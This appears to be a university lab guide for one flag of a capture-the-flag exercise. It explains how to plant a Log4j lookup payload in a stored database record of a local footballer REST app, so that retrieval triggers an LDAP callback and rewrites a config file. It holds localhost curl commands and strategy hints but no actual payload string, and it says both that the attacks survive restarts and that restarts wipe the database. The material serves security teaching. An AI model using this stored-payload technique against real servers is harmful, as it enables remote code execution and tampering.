Data persistence attack vectors and database-driven exploitation
Delayed payload execution through stored malicious records
Properties file manipulation from previous flags
LDAP callback techniques and payload obfuscation
Database record lifecycle and retrieval trigger points
Environment Setup
Container Initialization
Ensure the vulnerable application is running:
The /footballers/ resource provides comprehensive CRUD operations:
GET All Records:
curl 'http://localhost:8080/rest/footballers/footballerList' -H 'GATECH_ID:123456789'
GET By ID:
curl 'http://localhost:8080/rest/footballers/footballer/<id>' -H 'GATECH_ID:123456789'
GET By Team:
curl 'http://localhost:8080/rest/footballers/footballer?team=exampleTeam' -H 'GATECH_ID:123456789'
POST Create/Update:
curl -X POST \
'http://localhost:8080/rest/footballers/footballer' \
-H 'Content-Type: application/json' \
-H 'GATECH_ID:903449128' \
-d '{
"playerName": "test",
"position": "RunningBack",
"skillLevel": "99",
"touchdownsScored": 1,
"team": "TestTeam"
}'
Database Architecture
The application uses an in-memory database that:
Persists footballer records with full CRUD capability
Triggers logging operations during data retrieval
Processes stored data through Log4j when records are accessed
Resets completely when the container is restarted
Understanding Data at Rest Exploitation
Attack Vector Distinction
Data at Rest vs. Data in Transit:
Data in Transit: Malicious payloads in real-time HTTP requests (previous flags)
Data at Rest: Malicious payloads stored in databases, triggered during retrieval
Persistence Advantage: Payloads remain dormant until specific retrieval conditions
Delayed Execution: Exploitation occurs when stored data is processed, not when stored
Database Persistence Strategy
The exploitation process involves:
Malicious Record Creation – Store payload-containing records in the database
Trigger Identification – Determine which retrieval operations process stored data
Payload Activation – Access stored records to trigger Log4j processing
Configuration Manipulation – Update properties file during payload execution
Target Configuration
Similar to previous flags, you must:
Update config.properties in the root directory during exploitation
Add footballer.id property with the value set to your malicious record’s ID
Maintain file integrity to avoid tamper detection
Generate Flag 6 message through successful configuration update
Reconnaissance Phase
Initial Data Structure Analysis
Examine the existing footballer structure:
curl 'http://localhost:8080/rest/footballers/footballerList' -H 'GATECH_ID:123456789'
Analysis Objectives:
Understand footballer record structure and available fields
Identify default values and field behaviors
Note ID assignment patterns for new records
Examine logging behavior during data retrieval
Endpoint Behavior Investigation
Test each endpoint while monitoring logs to understand:
Which operations trigger logging of footballer data
How different fields are processed during retrieval
Where Log4j processing occurs in the data access flow
Team field behavior and default value handling
Log Output Pattern Analysis
Critical: You will need to inspect logs for each of the endpoints to come up with a successful attack strategy.
Monitor application logs during:
Footballer list retrieval for bulk data processing
Individual footballer access for single record handling
Team-based queries for search functionality
Record creation/updates for persistence operations
Attack Vector Development
Malicious Record Design
Your malicious footballer record must:
Contain Log4j payload in one or more fields
Trigger LDAP callback when the record is retrieved
Bypass any input validation during record creation
Remain functional as a valid footballer record
Field Selection Strategy
Consider which footballer fields are most likely to:
Be logged during retrieval operations
Accept arbitrary string content without validation
Trigger Log4j processing when accessed
Remain persistent in the database
Payload Construction Considerations
Hint: The obfuscation technique in this flag will be different than previous ones. Try out the KISS approach on this.
KISS Principle: Keep It Simple, Stupid – use straightforward payload construction
Avoid complex obfuscation that worked in previous flags
Focus on simple, direct payload syntax for reliable execution
Test basic Log4j lookup patterns before adding complexity
Payload Development Guidelines
Simple Payload Construction
Following the KISS principle, start with basic Log4j syntax:
Direct LDAP lookup without complex obfuscation
Standard callback mechanisms that have worked reliably
Minimal encoding or manipulation of the payload string
Focus on execution reliability over evasion complexity
Database Persistence Verification
Ensure your malicious record:
Survives the persistence operation without corruption
Maintains payload integrity through database storage
Remains accessible via the GET endpoints
Triggers consistently when retrieved
Success Verification
Expected Log Output
Upon successful exploitation, you should see output similar to:
Verification Sequence
Create malicious footballer record using POST endpoint
Identify the record ID assigned by the database
Test retrieval operations using appropriate GET endpoints
Monitor logs for LDAP callback execution
Verify config.properties update with footballer.id property
Confirm flag generation in the log output
Success Indicators
LDAP callback execution triggered by record retrieval
Configuration file update with correct footballer.id value
Flag 6 message generation in FootballerService.java logs
Persistent exploitation through stored malicious data
Troubleshooting
Common Issues
Blank Flag Response
Symptoms: Flag field appears empty or missing
Solution: Restart the container environment:
./stopContainer.sh
./startContainer.sh
Note: This will delete all persisted records due to in-memory database
Payload Not Triggering
Symptoms: Malicious record created but no LDAP callback occurs
Solutions:
Verify payload is embedded in logged fields
Test different GET endpoints for retrieval triggers
Simplify payload construction following KISS principle
Check that record retrieval actually processes the malicious field
Record Persistence Failures
Symptoms: Malicious record not successfully stored
Solutions:
Verify JSON syntax in POST request
Check that payload doesn’t break record structure
Ensure all required fields are included
Test with simpler payloads first
Configuration Update Failures
Symptoms: LDAP callback occurs but config.properties not updated
Solutions:
Verify payload targets the correct properties file location
Ensure footballer.id property format is correct
Check that file write permissions are available
Confirm payload includes proper file manipulation logic
Debugging Methodology
Incremental Testing – Start with simple records, add complexity gradually
Log Monitoring – Watch all log output during record creation and retrieval
Endpoint Analysis – Test each GET endpoint systematically
Payload Verification – Confirm payload syntax before database storage
Security Implications
Data Persistence Attack Vectors
This exploit demonstrates:
Database-driven exploitation through malicious record injection
Delayed payload execution independent of initial injection timing
Persistence-based attacks that survive application restarts
Multi-stage exploitation combining storage and retrieval phases
Real-World Consequences
In production environments, data at rest exploitation could enable:
Long-term persistence of malicious payloads in business databases
Delayed activation triggered by routine business operations
Widespread impact as malicious records are accessed by multiple users
Audit trail manipulation through stored configuration changes
Database Security Implications
Consider the broader impact on:
Input validation for data persistence operations
Data sanitization before database storage
Retrieval processing security for stored data
Logging security when processing persistent records
Important Reminders
Data at Rest Requirement: This flag specifically requires a data at rest approach – data in transit methods will not work.
KISS Principle: Use simple, straightforward payload construction rather than complex obfuscation techniques.
Database Reset: Container restart will delete all records due to in-memory database architecture.
Log Inspection Critical: Carefully analyze logs from each endpoint to identify successful trigger points.
Footballer ID Tracking: Note the assigned footballer ID for proper config.properties update.